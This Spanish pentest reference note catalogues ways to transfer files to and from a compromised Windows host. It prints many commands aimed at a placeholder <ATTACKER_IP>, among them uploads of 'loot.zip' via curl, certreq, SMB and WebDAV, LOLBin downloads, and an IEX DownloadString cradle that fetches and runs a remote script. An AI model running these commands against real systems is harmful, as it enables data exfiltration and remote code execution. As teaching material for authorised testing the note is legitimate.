Árbol de conocimiento
En esta página

Transferencias de archivos en Windows

Métodos prácticos para transferir archivos en Windows desde shells, sesiones remotas y redes restringidas durante un pentest.
Actualizado 25 ago 2026

Durante un pentest, mover un archivo suele depender más de la shell disponible y de los protocolos alcanzables que de la herramienta que preferiríamos utilizar. PowerShell puede estar restringido mientras certutil.exe sigue funcionando, HTTP puede estar filtrado mientras TCP/445 es accesible, y una sesión WinRM o RDP existente puede proporcionar ya su propio canal de transferencia.

Lo útil es disponer de varias rutas y cambiar de método cuando la restricción actual invalida una de ellas.

En esta Note, download significa attacker → Windows y upload significa Windows → attacker, salvo cuando una herramienta utilice explícitamente otra terminología.

Referencia rápida

SituaciónMétodos a probar
PowerShell + HTTP(S)curl.exe, Invoke-WebRequest, WebClient, BITS
Solo cmd.exe + HTTP(S)curl.exe, certutil.exe, bitsadmin.exe, certreq.exe
TCP/445 accesible hacia el attackerImpacket SMB + copy, Copy-Item, robocopy
HTTP accesible y se necesita transferencia bidireccionalHTTP upload server o WebDAV
Sesión Evil-WinRMupload / download
PowerShell RemotingCopy-Item -ToSession / -FromSession
Sesión RDPDrive redirection + \\tsclient\share
SSH disponiblescp.exe, sftp.exe
FTP accesibleftp.exe
Solo existe un canal de textoBase64
Fallan las rutas habitualescertreq, esentutl, expand, otros binarios nativos

Antes de montar un canal nuevo, conviene comprobar qué existe realmente en el host.

whoami
echo %TEMP%

where powershell
where curl
where certutil
where bitsadmin
where ftp
where ssh
where scp
where tar
whoami
$env:TEMP
$PSVersionTable.PSVersion

Get-Command curl.exe -ErrorAction SilentlyContinue
Get-Command certutil.exe -ErrorAction SilentlyContinue
Get-Command bitsadmin.exe -ErrorAction SilentlyContinue
Get-Command scp.exe -ErrorAction SilentlyContinue
Get-Command tar.exe -ErrorAction SilentlyContinue

%TEMP% suele ser un destino cómodo y escribible con un usuario normal. No hay que asumir que la identidad actual pueda escribir en C:\Windows\Temp o en cualquier otro directorio del sistema.

HTTP

HTTP suele ser uno de los primeros canales que merece la pena probar porque es sencillo exponer un servidor temporal desde el attacker y Windows dispone de varios clientes.

Preparar el attacker

Desde Kali u otro host del operador:

cd /opt/tools
python3 -m http.server 8000

Los ficheros quedan disponibles bajo:

http://<ATTACKER_IP>:8000/

Que falle un cliente concreto no demuestra que HTTP esté bloqueado. PowerShell puede estar restringido mientras curl.exe o certutil.exe continúan funcionando.

Download

Los siguientes comandos recuperan el mismo fichero utilizando clientes distintos del propio Windows.

curl.exe http://<ATTACKER_IP>:8000/tool.exe -o %TEMP%\tool.exe
Invoke-WebRequest `
  -UseBasicParsing `
  -Uri 'http://<ATTACKER_IP>:8000/tool.exe' `
  -OutFile "$env:TEMP\tool.exe"
(New-Object Net.WebClient).DownloadFile(
    'http://<ATTACKER_IP>:8000/tool.exe',
    "$env:TEMP\tool.exe"
)
certutil.exe -urlcache -split -f http://<ATTACKER_IP>:8000/tool.exe %TEMP%\tool.exe
bitsadmin /transfer downloadJob /download /priority normal ^
  http://<ATTACKER_IP>:8000/tool.exe ^
  %TEMP%\tool.exe

certutil.exe y bitsadmin.exe siguen siendo alternativas útiles desde shells limitadas cuando están presentes. Que Microsoft considere antigua o deprecada su interfaz administrativa no impide que la técnica de transferencia funcione; LOLBAS sigue documentando ambas en versiones actuales de Windows.

En PowerShell 7+ la misma descarga no necesita ese parámetro:

Invoke-WebRequest `
  -Uri 'http://<ATTACKER_IP>:8000/tool.exe' `
  -OutFile "$env:TEMP\tool.exe"

Windows PowerShell 5.1 también define curl como alias de Invoke-WebRequest. Utiliza curl.exe cuando quieras ejecutar específicamente el cliente curl nativo.

Descargar scripts sin guardarlos primero

Cuando el contenido objetivo es un script PowerShell, también puede recuperarse como texto:

(New-Object Net.WebClient).DownloadString(
    'http://<ATTACKER_IP>:8000/script.ps1'
)

o:

(Invoke-WebRequest `
  -UseBasicParsing `
  'http://<ATTACKER_IP>:8000/script.ps1'
).Content

Combinar la descarga con Invoke-Expression convierte el patrón en un cradle de ejecución y deja de ser una transferencia de fichero propiamente dicha:

IEX (New-Object Net.WebClient).DownloadString(
    'http://<ATTACKER_IP>:8000/script.ps1'
)

Se incluye porque suele aparecer junto a estas técnicas; ejecución y evasión defensiva pertenecen a sus propias Notes.

Reanudar una descarga grande

Si el servidor HTTP soporta range requests, curl puede continuar una descarga parcial:

curl.exe -C - ^
  http://<ATTACKER_IP>:8000/large.zip ^
  -o %TEMP%\large.zip

HTTP upload

python3 -m http.server solo resuelve attacker → Windows. Para recibir ficheros desde el target hace falta un endpoint que acepte uploads.

Preparar uploadserver

python3 -m pip install --user uploadserver
python3 -m uploadserver 8000

El endpoint queda en:

http://<ATTACKER_IP>:8000/upload

Upload con curl.exe

curl.exe -X POST ^
  -F "files=@C:\Windows\Temp\loot.zip" ^
  http://<ATTACKER_IP>:8000/upload

Desde PowerShell:

curl.exe -X POST `
  -F "files=@$env:TEMP\loot.zip" `
  "http://<ATTACKER_IP>:8000/upload"

certreq.exe

certreq.exe ofrece otra ruta HTTP nativa cuando los clientes habituales no encajan. Puede enviar un fichero mediante POST a un handler compatible:

certreq.exe -Post ^
  -config http://<ATTACKER_IP>:8000/ ^
  C:\Windows\Temp\loot.zip

También puede guardar la respuesta del servidor:

certreq.exe -Post ^
  -config http://<ATTACKER_IP>:8000/ ^
  C:\Windows\Temp\request.bin ^
  C:\Windows\Temp\response.bin

El receptor debe entender el POST generado por certreq; no hay que asumir que cualquier servidor de multipart upload será compatible.

SMB

SMB es uno de los canales bidireccionales más cómodos en un pentest interno. Si el Windows comprometido puede alcanzar TCP/445 en la máquina atacante, un share temporal permite utilizar comandos de copia nativos.

Preparar Impacket SMB

Share anónimo:

sudo impacket-smbserver share . -smb2support

Windows lo puede direccionar como:

\\<ATTACKER_IP>\share

Si guest access es rechazado, expón el share con credenciales:

sudo impacket-smbserver share . -smb2support \
  -username transfer -password 'TransferPass1!'

Y autentica desde Windows:

net use \\<ATTACKER_IP>\share /user:transfer *

El * solicita la contraseña de forma interactiva en lugar de dejarla en el historial de comandos de Windows.

Download

copy \\<ATTACKER_IP>\share\tool.exe %TEMP%\tool.exe
Copy-Item `
  "\\<ATTACKER_IP>\share\tool.exe" `
  "$env:TEMP\tool.exe"

Upload

copy %TEMP%\loot.zip \\<ATTACKER_IP>\share\loot.zip
Copy-Item `
  "$env:TEMP\loot.zip" `
  "\\<ATTACKER_IP>\share\loot.zip"

Elimina un mapping creado solo para la transferencia cuando deje de ser necesario:

net use \\<ATTACKER_IP>\share /delete

Sesiones SMB existentes y error 1219

Windows mantiene conexiones SMB por servidor y contexto de logon. Intentar conectar al mismo servidor con una segunda identidad puede producir:

System error 1219 has occurred.
Multiple connections to a server or shared resource by the same user,
using more than one user name, are not allowed.

Comprueba primero las conexiones existentes:

net use

Elimina solo la conexión que ya no necesites y vuelve a autenticar.

Ficheros grandes

Para ficheros grandes o conexiones poco estables, robocopy puede ser más útil que un copy simple:

robocopy \\<ATTACKER_IP>\share %TEMP% large.zip /Z /J /R:2 /W:2

Upload:

robocopy %TEMP% \\<ATTACKER_IP>\share loot.zip /Z /J /R:2 /W:2

/Z habilita modo reiniciable y /J utiliza I/O sin buffer, útil con ficheros grandes.

Binarios nativos alternativos para SMB

Si copy o PowerShell están restringidos, otros binarios de Windows pueden seguir leyendo una ruta UNC.

esentutl.exe:

esentutl.exe /y ^
  \\<ATTACKER_IP>\share\tool.exe ^
  /d %TEMP%\tool.exe ^
  /o

expand.exe:

expand.exe ^
  \\<ATTACKER_IP>\share\tool.exe ^
  %TEMP%\tool.exe

Son rutas de fallback; no son mejores que copy cuando el comando normal ya funciona.

WebDAV

WebDAV resulta útil cuando HTTP es alcanzable pero SMB directo no lo es. Windows puede exponer un recurso WebDAV mediante una ruta similar a UNC cuando el servicio WebClient está disponible.

Preparar el attacker

WsgiDAV permite levantar rápidamente un servidor de lectura y escritura:

python3 -m pip install wsgidav cheroot
wsgidav --host=0.0.0.0 --port=80 --root=. --auth=anonymous

Windows direcciona el recurso como:

\\<ATTACKER_IP>@80\DavWWWRoot\

Para HTTPS en el puerto por defecto:

\\<ATTACKER_IP>@SSL\DavWWWRoot\

Download

Incluso cmd.exe puede copiar datos desde WebDAV mediante redirección:

type \\<ATTACKER_IP>@80\DavWWWRoot\tool.exe > %TEMP%\tool.exe

Upload

Si el servidor permite escritura:

type %TEMP%\loot.zip > \\<ATTACKER_IP>@80\DavWWWRoot\loot.zip

LOLBAS documenta ambas direcciones mediante cmd.exe en versiones actuales de Windows.

Requisito de WebClient

Si la ruta UNC WebDAV falla de forma inesperada, comprueba el servicio:

sc query WebClient
Get-Service WebClient

Acceso remoto existente

Cuando el propio método de acceso remoto ya soporta transferencia, normalmente es más rápido utilizar ese canal que levantar otro servicio.

Evil-WinRM

Upload hacia Windows:

upload /opt/tools/tool.exe C:\Windows\Temp\tool.exe

Download desde Windows:

download C:\Windows\Temp\loot.zip /tmp/loot.zip

upload y download son aquí comandos de Evil-WinRM, no cmdlets de PowerShell.

PowerShell Remoting

Una PSSession permite utilizar Copy-Item -ToSession y -FromSession.

$session = New-PSSession -ComputerName TARGET -Credential CORP\user

Upload:

Copy-Item `
  .\tool.exe `
  -Destination 'C:\Windows\Temp\tool.exe' `
  -ToSession $session

Download:

Copy-Item `
  'C:\Windows\Temp\loot.zip' `
  -Destination '.\loot.zip' `
  -FromSession $session

Cerrar la sesión:

Remove-PSSession $session

RDP drive redirection

FreeRDP puede exponer un directorio local del operador dentro de la sesión Windows:

xfreerdp /v:<TARGET> /u:user /drive:share,/opt/tools

Dependiendo del paquete instalado, el binario puede llamarse xfreerdp, xfreerdp3 u otra variante versionada. La opción relevante es /drive.

Dentro de Windows:

dir \\tsclient\share

Download:

copy \\tsclient\share\tool.exe %TEMP%\tool.exe

Upload:

copy %TEMP%\loot.zip \\tsclient\share\loot.zip

OpenSSH

Cuando el cliente OpenSSH está instalado, scp.exe y sftp.exe proporcionan otra ruta bidireccional.

Comprobar disponibilidad:

where scp
where sftp

Suelen encontrarse bajo:

C:\Windows\System32\OpenSSH\

SCP

Download:

scp.exe operator@<ATTACKER_IP>:/opt/tools/tool.exe %TEMP%\tool.exe

Upload:

scp.exe %TEMP%\loot.zip operator@<ATTACKER_IP>:/tmp/loot.zip

SFTP

sftp.exe operator@<ATTACKER_IP>

Dentro de la sesión:

sftp> get tool.exe C:\Windows\Temp\tool.exe
sftp> put C:\Windows\Temp\loot.zip loot.zip

get y put se interpretan desde la perspectiva del cliente SFTP que se está ejecutando en Windows.

FTP

ftp.exe sigue siendo útil cuando el cliente existe y la red permite los canales de control y datos de FTP.

Preparar el attacker

Un servidor anónimo rápido con pyftpdlib escucha por defecto en TCP/2121:

python3 -m pip install --user pyftpdlib
python3 -m pyftpdlib

Para permitir uploads anónimos:

python3 -m pyftpdlib --write

Transferencia interactiva

ftp <ATTACKER_IP>

Después:

ftp> binary
ftp> get tool.exe
ftp> put loot.zip
ftp> quit

Utiliza binary para ejecutables, archivos comprimidos, dumps y cualquier otro flujo arbitrario de bytes.

FTP desde una shell no interactiva

ftp.exe -s lee comandos desde un fichero:

(
echo open <ATTACKER_IP> 2121
echo anonymous
echo anonymous
echo binary
echo get tool.exe
echo quit
) > %TEMP%\ftp.txt

ftp.exe -s:%TEMP%\ftp.txt

BITS

BITS puede utilizarse tanto desde PowerShell como mediante bitsadmin.exe.

Start-BitsTransfer

Start-BitsTransfer `
  -Source 'http://<ATTACKER_IP>:8000/tool.exe' `
  -Destination "$env:TEMP\tool.exe"

Para crear un job asíncrono:

$job = Start-BitsTransfer `
  -Source 'http://<ATTACKER_IP>:8000/large.zip' `
  -Destination "$env:TEMP\large.zip" `
  -Asynchronous

Comprobarlo:

Get-BitsTransfer

Cuando alcance Transferred:

Complete-BitsTransfer $job

bitsadmin.exe

Desde cmd.exe:

bitsadmin /transfer downloadJob ^
  /download ^
  /priority normal ^
  http://<ATTACKER_IP>:8000/tool.exe ^
  %TEMP%\tool.exe

La interfaz bitsadmin.exe está deprecada para administración moderna, pero ese estado no la vuelve inútil durante un pentest si está presente y funciona.

Canales solo-texto

Cuando no existe un camino binario utilizable pero la shell puede enviar y recibir texto, Base64 permite representar cualquier secuencia de bytes.

Resulta práctico para scripts pequeños, claves, configuración y binarios de poco tamaño. Se vuelve progresivamente frágil con ficheros grandes porque la representación codificada ocupa aproximadamente un tercio más y puede alcanzar límites de command line o de output de la shell.

Base64 con PowerShell

Encode:

[Convert]::ToBase64String(
    [IO.File]::ReadAllBytes("$env:TEMP\loot.bin")
)

En Linux:

base64 -w 0 loot.bin

Decode en PowerShell:

$b64 = Get-Content '.\loot.b64' -Raw

[IO.File]::WriteAllBytes(
    "$env:TEMP\loot.bin",
    [Convert]::FromBase64String($b64.Trim())
)

Decode en Linux:

base64 -d loot.b64 > loot.bin

certutil encode y decode

Desde cmd.exe:

certutil.exe -encode %TEMP%\loot.bin %TEMP%\loot.b64
certutil.exe -decode %TEMP%\tool.b64 %TEMP%\tool.exe

EncodedCommand

-EncodedCommand también utiliza Base64, pero resuelve transporte de una línea de comandos, no transferencia genérica de ficheros. Tanto powershell.exe como pwsh esperan que el comando se convierta primero a bytes UTF-16LE y después a Base64.

Pipeline de EncodedCommand El texto se codifica como bytes UTF-16LE, después como Base64 y finalmente se pasa como argumento EncodedCommand. Texto Comando origen UTF-16LE Bytes Base64 Representación textual -EncodedCommand Argumento PowerShell Contrato CLI específico ≠ codificación universal de ficheros Windows Pipeline de EncodedCommand El texto se codifica como bytes UTF-16LE, después como Base64 y finalmente se pasa como argumento EncodedCommand. Texto Comando origen UTF-16LE Bytes Base64 Representación textual -EncodedCommand Argumento PowerShell Contrato CLI específico ≠ codificación universal de ficheros Windows
EncodedCommand utiliza una tubería concreta UTF-16LE → Base64; esto no define la codificación de los ficheros de texto de Windows en general.

Desde Linux:

printf %s 'Get-ChildItem C:\' |
  iconv -t UTF-16LE |
  base64 -w 0

Después:

powershell.exe -EncodedCommand <BASE64>

Métodos nativos adicionales

Windows contiene muchos binarios firmados capaces de mover datos aunque esa no sea su función principal. Memorizar todos los LOLBins aporta poco; mantener un pequeño repertorio de fallback sí resulta útil cuando los clientes obvios están bloqueados o no existen.

certreq.exe

HTTP POST:

certreq.exe -Post ^
  -config http://<ATTACKER_IP>:8000/ ^
  %TEMP%\loot.zip

esentutl.exe

Copiar desde SMB:

esentutl.exe /y ^
  \\<ATTACKER_IP>\share\tool.exe ^
  /d %TEMP%\tool.exe ^
  /o

expand.exe

expand.exe ^
  \\<ATTACKER_IP>\share\tool.exe ^
  %TEMP%\tool.exe

findstr.exe

Otra alternativa para una ruta WebDAV/UNC:

findstr.exe /V /L DOES_NOT_EXIST ^
  \\<ATTACKER_IP>@80\DavWWWRoot\tool.exe ^
  > %TEMP%\tool.exe

Son técnicas de repertorio y fallback. Si curl.exe, copy o el canal de acceso remoto actual ya funcionan de forma fiable, no hace falta sustituirlos por un binario más inusual.

Preparar ficheros

Empaquetar muchos ficheros en un único archivo reduce el número de transferencias y simplifica la comprobación de integridad.

tar.exe

Comprobar disponibilidad:

where tar

Crear ZIP:

tar.exe -caf %TEMP%\loot.zip C:\Path\To\Collection

Crear tar.gz:

tar.exe -czf %TEMP%\loot.tar.gz C:\Path\To\Collection

Compress-Archive

Compress-Archive `
  -Path 'C:\Path\To\Collection\*' `
  -DestinationPath "$env:TEMP\loot.zip"

Integridad

Comparar SHA-256 permite comprobar rápidamente que ambos extremos contienen exactamente los mismos bytes después de la transferencia.

Get-FileHash `
  "$env:TEMP\tool.exe" `
  -Algorithm SHA256
certutil.exe -hashfile %TEMP%\tool.exe SHA256
sha256sum tool.exe

La verificación del hash resulta especialmente útil después de Base64, chunking, web shells, transferencias interrumpidas o cualquier transformación donde pueda haberse producido truncado.

Codificación de caracteres

La codificación importa cuando el contenido se crea, interpreta o transforma como texto. Una transferencia binaria normal mediante HTTP, SMB, SCP o WinRM debería conservar los bytes sin modificar su encoding.

Windows no tiene una única codificación universal para sus ficheros de texto. Una sorpresa habitual durante pentesting aparece por la diferencia entre Windows PowerShell 5.1 y PowerShell moderno.

Windows PowerShell 5.1

Out-File y los operadores de redirección > / >> generan UTF-16LE por defecto:

whoami > users.txt

El fichero resultante puede verse extraño al inspeccionarlo desde Linux porque un carácter del rango ASCII como a se almacena como la unidad UTF-16LE 61 00, no como el único byte 61 que utilizaría UTF-8 para ese mismo carácter.

PowerShell 7+

PowerShell moderno utiliza UTF-8 sin BOM como default para la salida de texto. Un comando visualmente idéntico puede, por tanto, producir una representación de bytes diferente dependiendo del engine que lo ejecutó.

Inspeccionar los bytes

PowerShell:

Format-Hex .\users.txt

Linux:

file users.txt
xxd users.txt | head

CRLF/LF y UTF-8/UTF-16 son propiedades distintas:

character encoding   UTF-8 / UTF-16LE / ...
line ending          CRLF / LF

dos2unix modifica los line endings; no es una solución genérica para un problema de character encoding.

UTF-16LE, BOM y los bytes del antiguo ejemplo de Windows

Un BOM (byte-order mark) es una pequeña firma Unicode que puede aparecer al principio de un flujo de texto. En UTF-16LE la secuencia es FF FE. Puede indicar al lector que las unidades de código de 16 bits siguientes están almacenadas en orden little-endian.

El texto abc seguido de CRLF representado mediante un BOM UTF-16LE opcional y unidades de código de dos bytes.

Para el texto abc seguido de un salto CRLF típico de Windows, un fichero UTF-16LE con BOM puede comenzar así:

FF FE  61 00  62 00  63 00  0D 00  0A 00
│      │      │      │      │      │
BOM    a      b      c      CR     LF

El code point Unicode de a es U+0061. UTF-16 lo representa aquí como el valor de 16 bits 0x0061; el orden little-endian guarda primero el byte menos significativo, produciendo 61 00.

La misma lógica se aplica a CR (U+000D0D 00) y LF (U+000A0A 00). Por eso un output UTF-16LE generado por Windows PowerShell puede parecer lleno de bytes 00 entre caracteres ASCII normales cuando se inspecciona con xxd.

El BOM no es obligatorio para todas las codificaciones Unicode ni para todas las aplicaciones productoras. Su presencia aporta evidencia sobre el encoding; su ausencia no demuestra que el fichero sea ASCII o UTF-8.

Esto también explica por qué -EncodedCommand exige UTF-16LE sin implicar que los ficheros de Windows utilicen UTF-16LE en general: lo primero es un contrato concreto de línea de comandos y lo segundo depende del programa que creó el fichero.

Referencias